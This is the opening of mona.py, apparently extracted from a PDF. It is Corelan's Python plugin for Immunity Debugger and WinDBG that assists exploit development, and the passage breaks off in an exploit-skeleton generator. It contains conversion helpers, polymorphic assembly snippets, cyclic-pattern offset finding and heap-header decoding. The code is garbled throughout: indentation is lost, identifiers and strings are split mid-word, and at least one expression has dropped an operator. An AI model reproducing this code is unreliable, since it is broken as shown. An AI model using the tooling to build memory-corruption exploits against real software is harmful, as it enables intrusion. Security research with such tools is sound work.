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"""

U{Corelan<https://www.corelan.be>}
Copyright (c) 2011-2013, Peter Van Eeckhoutte - Corelan GCV
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Corelan nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL PETER VAN EECKHOUTTE OR CORELAN GCV BE LIABLE FOR
ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
$Revision: 529 $
$Id: mona.py 529 2014-09-14 09:01:26Z corelanc0d3r $
"""
__VERSION__ = '2.0'
__REV__ = filter(str.isdigit, '$Revision: 529 $')
__IMM__ = '1.8'
__DEBUGGERAPP__ = ''
arch = 32
win7mode = False
# try:
#
import debugger
# except:
#
pass
try:
import immlib as dbglib
from immlib import LogBpHook
__DEBUGGERAPP__ = "Immunity Debugger"
except:
try:
from pykd import *
import windbglib as dbglib
from windbglib import LogBpHook
dbglib.checkVersion()
arch = dbglib.getArchitecture()
__DEBUGGERAPP__ = "WinDBG"
except SystemExit, e:
print "-Exit."
import sys

sys.exit(e)
except Exception:
#import traceback
print "Do not run this script outside of a debugger !"
#print traceback.format_exc()
import sys
exit(1)
import getopt
try:
#import debugtypes
#import libdatatype
from immutils import *
except:
pass
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import

os
re
sys
types
random
shutil
struct
string
types
urllib
inspect
datetime
binascii
itertools
traceback

from operator import itemgetter


from collections import defaultdict, namedtuple
import cProfile
import pstats
DESC = "Corelan Team exploit development swiss army knife"
#---------------------------------------#
# Global stuff
#
#---------------------------------------#
TOP_USERLAND = 0x7fffffff
g_modules={}
MemoryPageACL={}
global CritCache
global vtableCache
global stacklistCache
global segmentlistCache
global VACache
global NtGlobalFlag
global FreeListBitmap
global memProtConstants
global currentArgs
NtGlobalFlag = -1

FreeListBitmap = {}
memProtConstants = {}
CritCache={}
vtableCache={}
stacklistCache={}
segmentlistCache={}
VACache={}
ptr_counter = 0
ptr_to_get = -1
silent = False
ignoremodules = False
noheader = False
dbg = dbglib.Debugger()
if __DEBUGGERAPP__ == "WinDBG":
if dbglib.getSymbolPath().replace(" ","") == "":
dbg.log("")
dbg.log("** Warning, no symbol path set ! ** ",highlight=1)
sympath = "srv*c:\symbols*http://msdl.microsoft.com/download/sym
bols"
dbg.log(" I'll set the symbol path to %s" % sympath)
dbglib.setSymbolPath(sympath)
dbg.log(" Symbol path set, now reloading symbols...")
dbg.nativeCommand(".reload")
dbg.log(" All set. Please restart WinDBG.")
dbg.log("")
osver = dbg.getOsVersion()
if osver in ["6", "7", "8", "vista", "win7", "2008server", "win8"]:
win7mode = True
#---------------------------------------#
# Populate constants
#
#---------------------------------------#
memProtConstants["X"] = ["PAGE_EXECUTE",0x10]
memProtConstants["RX"] = ["PAGE_EXECUTE_READ",0x20]
memProtConstants["RWX"] = ["PAGE_EXECUTE_READWRITE",0x40]
memProtConstants["N"] = ["PAGE_NOACCESS",0x1]
memProtConstants["R"] = ["PAGE_READONLY",0x2]
memProtConstants["RW"] = ["PAGE_READWRITE",0x4]
memProtConstants["GUARD"] = ["PAGE_GUARD",0x100]
memProtConstants["NOCACHE"] = ["PAGE_NOCACHE",0x200]
memProtConstants["WC"] = ["PAGE_WRITECOMBINE",0x400]
#---------------------------------------#
# Utility functions
#
#---------------------------------------#
def toHex(n):
"""
Converts a numeric value to hex (pointer to hex)
Arguments:
n - the value to convert
Return:
A string, representing the value in hex (8 characters long)
"""
if arch == 32:
return "%08x" % n

if arch == 64:
return "%016x" % n
def sanitize_module_name(modname):
"""
Sanitizes a module name so it can be used as a variable
"""
return modname.replace(".", "_")
def DwordToBits(srcDword):
"""
Converts a dword into an array of 32 bits
"""
bit_array = []
h_str = "%08x" % srcDword
h_size = len(h_str) * 4
bits = (bin(int(h_str,16))[2:]).zfill(h_size)[::-1]
for bit in bits:
bit_array.append(int(bit))
return bit_array
def multiSplit(thisarg,delimchars):
""" splits a string into an array, based on provided delimeters"""
splitparts = []
thispart = ""
for c in str(thisarg):
if c in delimchars:
thispart = thispart.replace(" ","")
if thispart != "":
splitparts.append(thispart)
splitparts.append(c)
thispart = ""
else:
thispart += c
if thispart != "":
splitparts.append(thispart)
return splitparts
def getAddyArg(argaddy):
"""
Tries to extract an address from a specified argument
addresses and values will be considered hex
(unless you specify 0n before a value)
registers are allowed too
"""
findaddy = 0
addyok = True
addyparts = []
addypartsint = []
delimchars = ["-","+","*","/","(",")","&","|",">","<"]
regs = dbg.getRegs()
thispart = ""
for c in str(argaddy):
if c in delimchars:
thispart = thispart.replace(" ","")
if thispart != "":

addyparts.append(thispart)
addyparts.append(c)
thispart = ""
else:
thispart += c
if thispart != "":
addyparts.append(thispart)
for part in addyparts:
cleaned = part
if not part in delimchars:
for x in delimchars:
cleaned = cleaned.replace(x,"")
if cleaned.startswith("[") and cleaned.endswith("]"):
partval,partok = getIntForPart(cleaned.replace("
[","").replace("]",""))
if partok:
try:
partval = struct.unpack('<L',dbg
.readMemory(partval,4))[0]
except:
partval = 0
partok = False
break
else:
partval,partok = getIntForPart(cleaned)
if not partok:
break
addypartsint.append(partval)
else:
addypartsint.append(part)
if not partok:
break
if not partok:
addyok = False
findval = 0
else:
calcstr = "".join(str(x) for x in addypartsint)
try:
findval = eval(calcstr)
addyok = True
except:
findval = 0
addyok = False
return findval, addyok

def getIntForPart(part):
"""
Returns the int value associated with an input string
The input string can be a hex value, decimal value, register, modulename
, or modulee!functionname
"""
partclean = part
partclean = partclean.upper()
addyok = True
partval = 0

regs = dbg.getRegs()
if partclean in regs:
partval = regs[partclean]
else:
if partclean.lower().startswith("0n"):
partclean = partclean.lower().replace("0n","")
try:
partval = int(partclean)
except:
addyok = False
partval = 0
else:
try:
if not "0x" in partclean.lower():
partclean = "0x" + partclean
partval = int(partclean,16)
except:
addyok = False
partval = 0
if not addyok:
if not "!" in part:
m = getModuleObj(part)
if not m == None:
partval = m.moduleBase
addyok = True
else:
modparts = part.split("!")
modname = modparts[0]
funcname = modparts[1]
m = getFunctionAddress(modname,funcname)
if m > 0:
partval = m
addyok = True
return partval,addyok
def getFunctionAddress(modname,funcname):
"""
Returns the addres of the function inside a given module
Relies on EAT data
Returns 0 if nothing found
"""
funcaddy = 0
m = getModuleObj(modname)
if not m == None:
eatlist = m.getEAT()
for f in eatlist:
if funcname == eatlist[f]:
return f
for f in eatlist:
if funcname.lower() == eatlist[f].lower():
return f
return funcaddy

def printDataArray(data,charsperline=16,prefix=""):
maxlen = len(data)
charcnt = 0

charlinecnt = 0
linecnt = 0
thisline = prefix
lineprefix = "%04d - %04d " % (charcnt,charcnt+charsperline-1)
thisline += lineprefix
while charcnt < maxlen:
thisline += data[charcnt:charcnt+1]
charlinecnt += 1
charcnt += 1
if charlinecnt == charsperline or charlinecnt == maxlen:
dbg.log(thisline)
thisline = prefix
lineprefix = "%04d - %04d " % (charcnt,charcnt+charsperl
ine-1)
thisline += lineprefix
charlinecnt = 0
return None
def find_all_copies(tofind,data):
"""
Finds all occurences of a string in a longer string
Arguments:
tofind - the string to find
data - contains the data to look for all occurences of 'tofind'
Return:
An array with all locations
"""
position = 0
positions = []
searchstringlen = len(tofind)
maxlen = len(data)
while position < maxlen:
position = data.find(tofind,position)
if position == -1:
break
positions.append(position)
position += searchstringlen
return positions
def getAllStringOffsets(data,minlen,offsetstart = 0):
asciistrings = {}
for match in re.finditer("(([\x20-\x7e]){%d,})" % minlen,data):
thisloc = match.start() + offsetstart
thisend = match.end() + offsetstart
asciistrings[thisloc] = thisend
return asciistrings
def getAllUnicodeStringOffsets(data,minlen,offsetstart = 0):
unicodestrings = {}
for match in re.finditer("((\x00[\x20-\x7e]){%d,})" % (minlen*2),data):
unicodestrings[offsetstart + match.start()] = (offsetstart + mat
ch.end())
return unicodestrings
def stripExtension(fullname):
"""

Removes extension from a filename


(will only remove the last extension)
Arguments :
fullname - the original string
Return:
A string, containing the original string without the last extension
"""
nameparts = fullname.split(".")
if len(nameparts) > 1:
cnt = 0
modname = ""
while cnt < len(nameparts)-1:
modname = modname + nameparts[cnt] + "."
cnt += 1
return modname.strip(".")
return fullname
def toHexByte(n):
"""
Converts a numeric value to a hex byte
Arguments:
n - the vale to convert (max 255)
Return:
A string, representing the value in hex (1 byte)
"""
return "%02X" % n
def toAsciiOnly(inputstr):
return "".join(i for i in inputstr if ord(i)<128 and ord(i) > 31)
def toAscii(n):
"""
Converts a byte to its ascii equivalent. Null byte = space
Arguments:
n - A string (2 chars) representing the byte to convert to ascii
Return:
A string (one character), representing the ascii equivalent
"""
asciiequival = " "
if n.__class__.__name__ == "int":
n = "%02x" % n
try:
if n != "00":
asciiequival=binascii.a2b_hex(n)
else:
asciiequival = " "
except TypeError:
asciiequival=" "
return asciiequival
def hex2bin(pattern):
"""
Converts a hex string (\\x??\\x??\\x??\\x??) to real hex bytes

Arguments:
pattern - A string representing the bytes to convert
Return:
the bytes
"""
pattern = pattern.replace("\\x", "")
pattern = pattern.replace("\"", "")
pattern = pattern.replace("\'", "")
return ''.join([binascii.a2b_hex(i+j) for i,j in zip(pattern[0::2],patte
rn[1::2])])
def getVariantType(typenr):
varianttypes = {}
varianttypes[0x0] = "VT_EMPTY"
varianttypes[0x1] = "VT_NULL"
varianttypes[0x2] = "VT_I2"
varianttypes[0x3] = "VT_I4"
varianttypes[0x4] = "VT_R4"
varianttypes[0x5] = "VT_R8"
varianttypes[0x6] = "VT_CY"
varianttypes[0x7] = "VT_DATE"
varianttypes[0x8] = "VT_BSTR"
varianttypes[0x9] = "VT_DISPATCH"
varianttypes[0xA] = "VT_ERROR"
varianttypes[0xB] = "VT_BOOL"
varianttypes[0xC] = "VT_VARIANT"
varianttypes[0xD] = "VT_UNKNOWN"
varianttypes[0xE] = "VT_DECIMAL"
varianttypes[0x10] = "VT_I1"
varianttypes[0x11] = "VT_UI1"
varianttypes[0x12] = "VT_UI2"
varianttypes[0x13] = "VT_UI4"
varianttypes[0x14] = "VT_I8"
varianttypes[0x15] = "VT_UI8"
varianttypes[0x16] = "VT_INT"
varianttypes[0x17] = "VT_UINT"
varianttypes[0x18] = "VT_VOID"
varianttypes[0x19] = "VT_HRESULT"
varianttypes[0x1A] = "VT_PTR"
varianttypes[0x1B] = "VT_SAFEARRAY"
varianttypes[0x1C] = "VT_CARRAY"
varianttypes[0x1D] = "VT_USERDEFINED"
varianttypes[0x1E] = "VT_LPSTR"
varianttypes[0x1F] = "VT_LPWSTR"
varianttypes[0x24] = "VT_RECORD"
varianttypes[0x25] = "VT_INT_PTR"
varianttypes[0x26] = "VT_UINT_PTR"
varianttypes[0x2000] = "VT_ARRAY"
varianttypes[0x4000] = "VT_BYREF"
if typenr in varianttypes:
return varianttypes[typenr]
else:
return ""

def bin2hex(binbytes):
"""
Converts a binary string to a string of space-separated hexadecimal byte
s.
"""
return ' '.join('%02x' % ord(c) for c in binbytes)
def bin2hexstr(binbytes):
"""
Converts bytes to a string with hex
Arguments:
binbytes - the input to convert to hex
Return :
string with hex
"""
return ''.join('\\x%02x' % ord(c) for c in binbytes)
def str2js(inputstring):
"""
Converts a string to an unicode escaped javascript string
Arguments:
inputstring - the input string to convert
Return :
string in unicode escaped javascript format
"""
length = len(inputstring)
if length % 2 == 1:
jsmsg = "Warning : odd size given, js pattern will be truncated
to " + str(length - 1) + " bytes, it's better use an even size\n"
if not silent:
dbg.logLines(jsmsg,highlight=1)
toreturn=""
for thismatch in re.compile("..").findall(inputstring):
thisunibyte = ""
for thisbyte in thismatch:
thisunibyte = "%02x" % ord(thisbyte) + thisunibyte
toreturn += "%u" + thisunibyte
return toreturn
def opcodesToHex(opcodes):
"""
Converts pairs of chars (opcode bytes) to hex string notation
Arguments :
opcodes : pairs of chars
Return :
string with hex
"""
toreturn = []
opcodes = opcodes.replace(" ","")
for cnt in range(0, len(opcodes), 2):
thisbyte = opcodes[cnt:cnt+2]

toreturn.append("\\x" + thisbyte)
toreturn = ''.join(toreturn)
return toreturn
def rmLeading(input,toremove,toignore=""):
"""
Removes leading characters from an input string
Arguments:
input - the input string
toremove - the character to remove from the begin of the string
toignore - ignore this character
Return:
the input string without the leading character(s)
"""
newstring = ""
cnt = 0
while cnt < len(input):
if input[cnt] != toremove and input[cnt] != toignore:
break
cnt += 1
newstring = input[cnt:]
return newstring
def getVersionInfo(filename):
"""Retrieves version and revision numbers from a mona file
Arguments : filename
Return :
version - string with version (or empty if not found)
revision - string with revision (or empty if not found)
"""
file = open(filename,"rb")
content = file.readlines()
file.close()
revision = ""
version = ""
for line in content:
if line.startswith("$Revision"):
parts = line.split(" ")
if len(parts) > 1:
revision = parts[1].replace("$","")
if line.startswith("__VERSION__"):
parts = line.split("=")
if len(parts) > 1:
version = parts[1].strip()
return version,revision
def toniceHex(data,size):
"""
Converts a series of bytes into a hex string,
newline after 'size' nr of bytes

Arguments :
data - the bytes to convert
size - the number of bytes to show per linecache
Return :
a multiline string
"""
flip = 1
thisline = "\""
block = ""
for cnt in xrange(len(data)):
thisline += "\\x%s" % toHexByte(ord(data[cnt]))
if (flip == size) or (cnt == len(data)-1):
thisline += "\""
flip = 0
block += thisline
block += "\n"
thisline = "\""
cnt += 1
flip += 1
return block.lower()
def hexStrToInt(inputstr):
"""
Converts a string with hex bytes to a numeric value
Arguments:
inputstr - A string representing the bytes to convert. Example : 4141414
1
Return:
the numeric value
"""
valtoreturn = 0
try:
valtoreturn = int(inputstr, 16)
except:
valtoreturn = 0
return valtoreturn
def to_int(inputstr):
"""
Converts a string to int, whether it's hex or decimal
Arguments:
inputstr - A string representation of a number. Example: 0xFFFF, 234
5
Return:
the numeric value
"""
if str(inputstr).lower().startswith("0x"):
return hexStrToInt(inputstr)
else:
return int(inputstr)
def toSize(toPad,size):
"""
Adds spaces to a string until the string reaches a certain length

Arguments:
input - A string
size - the destination size of the string
Return:
the expanded string of length <size>
"""
padded = toPad + " " * (size - len(toPad))
return padded.ljust(size," ")
def toUnicode(input):
"""
Converts a series of bytes to unicode (UTF-16) bytes
Arguments :
input - the source bytes
Return:
the unicode expanded version of the input
"""
unicodebytes = ""
# try/except, just in case .encode bails out
try:
unicodebytes = input.encode('UTF-16LE')
except:
inputlst = list(input)
for inputchar in inputlst:
unicodebytes += inputchar + '\x00'
return unicodebytes
def toJavaScript(input):
"""
Extracts pointers from lines of text
and returns a javascript friendly version
"""
alllines = input.split("\n")
javascriptversion = ""
allbytes = ""
for eachline in alllines:
thisline = eachline.replace("\t","").lower().strip()
if not(thisline.startswith("#")):
if thisline.startswith("0x"):
theptr = thisline.split(",")[0].replace("0x","")
# change order to unescape format
if arch == 32:
ptrstr = ""
byte1 = theptr[0] + theptr[1]
ptrstr = "\\x" + byte1
byte2 = theptr[2] + theptr[3]
ptrstr = "\\x" + byte2 + ptrstr
try:
byte3 = theptr[4] + theptr[5]
ptrstr = "\\x" + byte3 + ptrstr
except:
pass
try:
byte4 = theptr[6] + theptr[7]
ptrstr = "\\x" + byte4 + ptrstr
except:

pass
allbytes += hex2bin(ptrstr)
if arch == 64:
byte1 = theptr[0] + theptr[1]
byte2 = theptr[2] + theptr[3]
byte3 = theptr[4] + theptr[5]
byte4 = theptr[6] + theptr[7]
byte5 = theptr[8] + theptr[9]
byte6 = theptr[10] + theptr[11]
byte7 = theptr[12] + theptr[13]
byte8 = theptr[14] + theptr[15]
allbytes += hex2bin("\\x" + byte8 + "\\x
" + byte7 + "\\x" + byte6 + "\\x" + byte5)
allbytes += hex2bin("\\x" + byte4 + "\\x
" + byte3 + "\\x" + byte2 + "\\x" + byte1)
javascriptversion = str2js(allbytes)
return javascriptversion
def isReg(reg):
"""
Checks if a given string is a valid reg
Argument :
reg - the register to check
Return:
Boolean
"""
regs = []
if arch == 32:
regs=["eax","ebx","ecx","edx","esi","edi","ebp","esp"]
if arch == 64:
regs=["rax","rbx","rcx","rdx","rsi","rdi","rbp","rsp", "r8", "r9
", "r10", "r11", "r12", "r13", "r14", "r15"]
return str(reg).lower() in regs
def isAddress(string):
"""
Check if a string is an address / consists of hex chars only
Arguments:
string - the string to check
Return:
Boolean - True if the address string only contains hex bytes
"""
string = string.replace("\\x","")
if len(string) > 16:
return False
for char in string:
if char.upper() not in ["A","B","C","D","E","F","1","2","3","4",
"5","6","7","8","9","0"]:
return False
return True
def isHexValue(string):
"""
Check if a string is a hex value / consists of hex chars only (and - )

Arguments:
string - the string to check
Return:
Boolean - True if the address string only contains hex bytes or - sign
"""
string = string.replace("\\x","")
string = string.replace("0x","")
if len(string) > 16:
return False
for char in string:
if char.upper() not in ["A","B","C","D","E","F","1","2","3","4",
"5","6","7","8","9","0","-"]:
return False
return True
def Poly_ReturnDW(value):
I = random.randint(1, 3)
if I == 1:
if random.randint(1, 2) == 1:
return dbg.assemble( "SUB EAX, EAX\n ADD EAX, 0x%08x" %
value )
else:
return dbg.assemble( "SUB EAX, EAX\n ADD EAX, -0x%08x" %
value )
if I == 2:
return dbg.assemble( "PUSH 0x%08x\n POP EAX\n" % value )
if I == 3:
if random.randint(1, 2) == 1:
return dbg.assemble( "XCHG EAX, EDI\n DB 0xBF\n DD 0x%08
x\n XCHG EAX, EDI" % value )
else:
return dbg.assemble( "XCHG EAX, EDI\n MOV EDI, 0x%08x\n
XCHG EAX, EDI" % value )
return
def Poly_Return0():
I = random.randint(1, 4)
if I == 1:
return dbg.assemble( "SUB EAX, EAX" )
if I == 2:
if random.randint(1, 2) == 1:
return dbg.assemble( "PUSH 0\n POP EAX" )
else:
return dbg.assemble( "DB 0x6A, 0x00\n POP EAX" )
if I == 3:
return dbg.assemble( "XCHG EAX, EDI\n SUB EDI, EDI\n XCHG EAX, E
DI" )
if I == 4:
return Poly_ReturnDW(0)
return
def addrToInt(string):
"""
Convert a textual address to an integer
Arguments:
string - the address

Return:
int - the address value
"""
string = string.replace("\\x","")
return hexStrToInt(string)
def splitAddress(address):
"""
Splits aa dword/qdword into individual bytes (4 or 8 bytes)
Arguments:
address - The string to split
Return:
4 or 8 bytes
"""
if arch == 32:
byte1 = address >> 24 & 0xFF
byte2 = address >> 16 & 0xFF
byte3 = address >> 8 & 0xFF
byte4 = address & 0xFF
return byte1,byte2,byte3,byte4
if arch == 64:
byte1 = address >> 56 & 0xFF
byte2 = address >> 48 & 0xFF
byte3 = address >> 40 & 0xFF
byte4 = address >> 32 & 0xFF
byte5 = address >> 24 & 0xFF
byte6 = address >> 16 & 0xFF
byte7 = address >> 8 & 0xFF
byte8 = address & 0xFF
return byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8
def bytesInRange(address, range):
"""
Checks if all bytes of an address are in a range
Arguments:
address - the address to check
range - a range object containing the values all bytes need to comply wi
th
Return:
a boolean
"""
if arch == 32:
byte1,byte2,byte3,byte4 = splitAddress(address)
# if the first is a null we keep the address anyway
if not (byte1 == 0 or byte1 in range):
return False
elif not byte2 in range:
return False
elif not byte3 in range:
return False
elif not byte4 in range:
return False

if arch == 64:
byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8 = splitAddress(a
ddress)
# if the first is a null we keep the address anyway
if not (byte1 == 0 or byte1 in range):
return False
elif not byte2 in range:
return False
elif not byte3 in range:
return False
elif not byte4 in range:
return False
elif not byte5 in range:
return False
elif not byte6 in range:
return False
elif not byte7 in range:
return False
elif not byte8 in range:
return False
return True
def readString(address):
"""
Reads a string from the given address until it reaches a null bytes
Arguments:
address - the base address (integer value)
Return:
the string
"""
toreturn = dbg.readString(address)
return toreturn
def getSegmentEnd(segmentstart):
os = dbg.getOsVersion()
offset = 0x24
if win7mode:
offset = 0x28
segmentend = struct.unpack('<L',dbg.readMemory(segmentstart + offset,4))
[0]
return segmentend
def getHeapFlag(flag):
flags = {
0x0 : "Free",
0x1 : "Busy",
0x2 : "Extra present",
0x4 : "Fill pattern",
0x8 : "Virtallocd",
0x10 : "Last",
0x20 : "FFU-1",
0x40 : "FFU-2",
0x80 : "No Coalesce"
}

if win7mode:
flags[0x8] = "Internal"
if flag in flags:
return flags[flag]
else:
# maybe it's a combination of flags
values = [0x80, 0x40, 0x20, 0x10, 0x8, 0x4, 0x2, 0x1]
flagtext = []
for val in values:
if (flag - val) >= 0:
flagtext.append(flags[val])
flag -= val
if len(flagtext) == 0:
flagtext = "Unknown"
else:
flagtext = ','.join(flagtext)
return flagtext
def decodeHeapHeader(headeraddress,headersize,key):
# get header and decode first 4 bytes
blockcnt = 0
fullheaderbytes = ""
decodedheader = ""
fullheaderbytes = ""
while blockcnt < headersize:
header = struct.unpack('<L',dbg.readMemory(headeraddress+blockcn
t,4))[0]
if blockcnt == 0:
decodedheader = header ^ key
else:
decodedheader = header
headerbytes = "%08x" % decodedheader
bytecnt = 7
while bytecnt >= 0:
fullheaderbytes = fullheaderbytes + headerbytes[bytecnt1] + headerbytes[bytecnt]
bytecnt -= 2
blockcnt += 4
return hex2bin(fullheaderbytes)
def walkSegment(FirstEntry,LastValidEntry,heapbase):
"""
Finds all chunks in a given segment
Arguments : Start and End of segment, and heapbase
Returns a dictionary of MnChunk objects
Key : chunk pointer
"""
mHeap = MnHeap(heapbase)
mSegment = MnSegment(heapbase,FirstEntry,LastValidEntry)
return mSegment.getChunks()
def getStacks():
"""
Retrieves all stacks from all threads in the current application

Arguments:
None
Return:
a dictionary, with key = threadID. Each entry contains an array with bas
e and top of the stack
"""
stacks = {}
global stacklistCache
if len(stacklistCache) > 0:
return stacklistCache
else:
threads = dbg.getAllThreads()
for thread in threads:
teb = thread.getTEB()
tid = thread.getId()
topStack = 0
baseStack = 0
if arch == 32:
topStack = struct.unpack('<L',dbg.readMemory(teb
+4,4))[0]
baseStack = struct.unpack('<L',dbg.readMemory(te
b+8,4))[0]
if arch == 64:
topStack = struct.unpack('<Q',dbg.readMemory(teb
+8,8))[0]
baseStack = struct.unpack('<Q',dbg.readMemory(te
b+16,8))[0]
stacks[tid] = [baseStack,topStack]
stacklistCache = stacks
return stacks
def meetsAccessLevel(page,accessLevel):
"""
Checks if a given page meets a given access level
Arguments:
page - a page object
accesslevel - a string containing one of the following access levels :
R,W,X,RW,RX,WR,WX,RWX or *
Return:
a boolean
"""
if "*" in accessLevel:
return True
pageAccess = page.getAccess(human=True)
if "-R" in accessLevel:
if "READ" in pageAccess:
return False
if "-W" in accessLevel:
if "WRITE" in pageAccess:
return False
if "-X" in accessLevel:
if "EXECUTE" in pageAccess:
return False
if "R" in accessLevel:
if not "READ" in pageAccess:

return False
if "W" in accessLevel:
if not "WRITE" in pageAccess:
return False
if "X" in accessLevel:
if not "EXECUTE" in pageAccess:
return False
return True
def splitToPtrInstr(input):
"""
Splits a line (retrieved from a mona output file) into a pointer and a s
tring with the instructions in the file
Arguments:
input : the line containing pointer and instruction
Return:
a pointer - (integer value)
a string - instruction
if the input does not contain a valid line, pointer will be set to -1 an
d string will be empty
"""
thispointer = -1
thisinstruction = ""
split1 = re.compile(" ")
split2 = re.compile(":")
split3 = re.compile("\*\*")
thisline = input.lower()
if thisline.startswith("0x"):
#get the pointer
parts = split1.split(input)
part1 = parts[0].replace("\n","").replace("\r","")
if len(part1) != 10:
return thispointer,thisinstruction
else:
thispointer = hexStrToInt(part1)
if len(parts) > 1:
subparts = split2.split(input)
subpartsall = ""
if len(subparts) > 1:
cnt = 1
while cnt < len(subparts):
subpartsall += subparts[cnt] + "
:"
cnt +=1
subsubparts = split3.split(subpartsall)
thisinstruction = subsubparts[0].strip()
return thispointer,thisinstruction
else:
return thispointer,thisinstruction
def getNrOfDictElements(thisdict):
"""
Will get the total number of entries in a given dictionary
Argument: the source dictionary

Output : an integer
"""
total = 0
for dicttype in thisdict:
for dictval in thisdict[dicttype]:
total += 1
return total
def getModuleObj(modname):
"""
Will return a module object if the provided module name exists
Will perform a case sensitive search first,
and then a case insensitive search in case nothing was found
"""
# Method 1
mod = dbg.getModule(modname)
if mod is not None:
return MnModule(modname)
# Method 2
suffixes = ["",".exe",".dll"]
for suf in suffixes:
modname_search = modname + suf
allmod = dbg.getAllModules()
for tmod_s in allmod:
tmod = dbg.getModule(tmod_s)
if not tmod == None:
if tmod.getName() == modname_search:
return MnModule(tmod_s)
imname = dbg.getImageNameForModule(tmod.getName(
))
if not imname == None:
if imname == modname_search:
return MnModule(tmod)
# Method 3
for tmod_s in allmod:
tmod = dbg.getModule(tmod_s)
if not tmod == None:
if tmod.getName().lower() == modname_search.lowe
r():
return MnModule(tmod_s)
imname = dbg.getImageNameForModule(tmod.getName(
).lower())
if not imname == None:
if imname.lower() == modname_search.lowe
r():
return MnModule(tmod)
# Method 4
for tmod_s in allmod:
tmod = dbg.getModule(tmod_s)
if not tmod == None:
if tmod_s.lower() == modname_search.lower():
return MnModule(tmod_s)
return None

def getPatternLength(startptr,type="normal",args={}):

"""
Gets length of a cyclic pattern, starting from a given pointer
Arguments:
startptr - the start pointer (integer value)
type - optional string, indicating type of pattern :
"normal" : normal pattern
"unicode" : unicode pattern
"upper" : uppercase pattern
"lower" : lowercase pattern
"""
patternsize = 0
endofpattern = False
global silent
oldsilent=silent
silent=True
fullpattern = createPattern(200000,args)
silent=oldsilent
if type == "upper":
fullpattern = fullpattern.upper()
if type == "lower":
fullpattern = fullpattern.lower()
#if type == "unicode":
#
fullpattern = toUnicode(fullpattern)
if type in ["normal","upper","lower","unicode"]:
previousloc = -1
while not endofpattern and patternsize <= len(fullpattern):
sizemeter=dbg.readMemory(startptr+patternsize,4)
if type == "unicode":
sizemeter=dbg.readMemory(startptr+patternsize,8)
sizemeter = sizemeter.replace('\x00','')
else:
sizemeter=dbg.readMemory(startptr+patternsize,4)
if len(sizemeter) == 4:
thisloc = fullpattern.find(sizemeter)
if thisloc < 0 or thisloc <= previousloc:
endofpattern = True
else:
patternsize += 4
previousloc = thisloc
else:
return patternsize
#maybe this is not the end yet
patternsize -= 8
endofpattern = False
while not endofpattern and patternsize <= len(fullpattern):
sizemeter=dbg.readMemory(startptr+patternsize,4)
if type == "unicode":
sizemeter=dbg.readMemory(startptr+patternsize,8)
sizemeter = sizemeter.replace('\x00','')
else:
sizemeter=dbg.readMemory(startptr+patternsize,4)
if fullpattern.find(sizemeter) < 0:
patternsize += 3
endofpattern = True
else:
patternsize += 1
if type == "unicode":
patternsize = (patternsize / 2) + 1

return patternsize
def getAPointer(modules,criteria,accesslevel):
"""
Gets the first pointer from one of the supplied module that meets a set
of criteria
Arguments:
modules - array with module names
criteria - dictionary describing the criteria the pointer needs to compl
y with
accesslevel - the required access level
Return:
a pointer (integer value) or 0 if nothing was found
"""
pointer = 0
dbg.getMemoryPages()
for a in dbg.MemoryPages.keys():
page_start = a
page_size = dbg.MemoryPages[a].getSize()
page_end = a + page_size
#page in one of the modules ?
if meetsAccessLevel(dbg.MemoryPages[a],accesslevel):
pageptr = MnPointer(a)
thismodulename = pageptr.belongsTo()
if thismodulename != "" and thismodulename in mo
dules:
thismod = MnModule(thismodulename)
start = thismod.moduleBase
end = thismod.moduleTop
random.seed()
for cnt in xrange(page_size+1):
#randomize the value
theoffset = random.randint(0,pag
e_size)
thispointer = MnPointer(page_sta
rt + theoffset)
if meetsCriteria(thispointer,cri
teria):
return page_start + theo
ffset
return pointer
def haveRepetition(string, pos):
first = string[pos]
MIN_REPETITION = 3
if len(string) - pos > MIN_REPETITION:
count = 1
while ( count < MIN_REPETITION and string[pos+count] == first):
count += 1
if count >= MIN_REPETITION:
return True
return False
def isAsciiString(data):
"""
Check if a given string only contains ascii characters
"""

return all((ord(c) >= 32 and ord(c) <= 127) for c in data)


def isAscii(b):
"""
Check if a given hex byte is ascii or not
Argument : the byte
Returns : Boolean
"""
return b == 0x0a or b == 0x0d or (b >= 0x20 and b <= 0x7e)
def isAscii2(b):
"""
Check if a given hex byte is ascii or not, will not flag newline or carr
iage return as ascii
Argument : the byte
Returns : Boolean
"""
return b >= 0x20 and b <= 0x7e
def isHexString(input):
"""
Checks if all characters in a string are hex (0->9, a->f, A->F)
Alias for isAddress()
"""
return isAddress(input)
def extract_chunks(iterable, size):
""" Retrieves chunks of the given :size from the :iterable """
fill = object()
gen = itertools.izip_longest(fillvalue=fill, *([iter(iterable)] * size))
return (tuple(x for x in chunk if x != fill) for chunk in gen)
def rrange(x, y = 0):
""" Creates a reversed range (from x - 1 down to y).
Example:
>>> rrange(10, 0) # => [9, 8, 7, 6, 5, 4, 3, 2, 1, 0]
"""
return range(x - 1, y - 1, -1)
def getSkeletonHeader(exploittype,portnr,extension,url,badchars='\x00\x0a\x0d'):
originalauthor = "insert_name_of_person_who_discovered_the_vulnerability
"
name = "insert name for the exploit"
cve = "insert CVE number here"
if url == "":
url = "<insert another link to the exploit/advisory here>"
else:
try:
